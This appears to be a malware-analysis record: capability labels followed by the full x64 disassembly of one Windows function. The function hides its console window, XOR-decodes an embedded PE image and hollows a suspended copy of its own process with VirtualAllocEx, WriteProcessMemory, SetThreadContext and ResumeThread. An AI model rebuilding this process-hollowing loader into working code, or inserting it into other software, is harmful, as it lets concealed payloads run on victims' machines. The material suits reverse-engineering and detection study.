Function at 0x140001522
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Hide graphical window
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
sub rsp, 0x548
lea rbp, [rsp + 0x80]
call fcn.140001a40
mov rax, rsp
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x45c]
mov r8, rax
lea rax, section..rdata
mov rdx, rax
mov ecx, 0x84
call fcn.140001450
mov qword [rbp + 0x4a8], rax
mov byte [rbp + 0x4a7], 0x6b
mov edx, dword [rbp + 0x45c]
mov eax, edx
sub rax, 1
mov qword [rbp + 0x498], rax
mov eax, edx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002a10
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x490], rax
mov dword [rbp + 0x4bc], 0
jmp 0x1400015fe
mov eax, dword [rbp + 0x4bc]
cdqe
mov rdx, qword [rbp + 0x4a8]
add rax, rdx
movzx eax, byte [rax]
xor al, byte [rbp + 0x4a7]
mov rcx, qword [rbp + 0x490]
mov edx, dword [rbp + 0x4bc]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x4bc], 1
mov edx, dword [rbp + 0x4bc]
mov eax, dword [rbp + 0x45c]
cmp edx, eax
jb 0x1400015c9
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x488]
add rax, rdx
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov eax, dword [rax]
cmp eax, 0x4550
jne 0x14000197a
lea rax, [rbp + 0x440]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp + 0x3d0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x440]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x14000197a
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rbp + 0x448]
mov rdx, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
setne al
test al, al
je 0x14000197a
mov rax, qword [rbp + 0x478]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x478]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x440]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x478]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x440]
mov rcx, qword [rbp + 0x488]
mov rdx, qword [rbp + 0x468]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov qword [rbp + 0x4b0], 0
jmp 0x1400018ec
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x488]
lea rcx, [rax + rdx]
mov rdx, qword [rbp + 0x4b0]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x108
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x460]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x488]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x460]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x468]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x478]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x470]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
add qword [rbp + 0x4b0], 1
mov rax, qword [rbp + 0x478]
movzx eax, word [rax + 6]
movzx eax, ax
cmp qword [rbp + 0x4b0], rax
jb 0x1400017ff
mov rax, qword [rbp + 0x478]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x468]
add rdx, rax
mov rax, qword [rbp + 0x470]
mov qword [rax + 0x80], rdx
mov rax, qword [rbp + 0x448]
mov rdx, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x440]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
mov rsp, rbx
jmp 0x140001982
mov rsp, rbx
mov eax, 0
lea rsp, [rbp + 0x4c8]
pop rbx
pop rbp
ret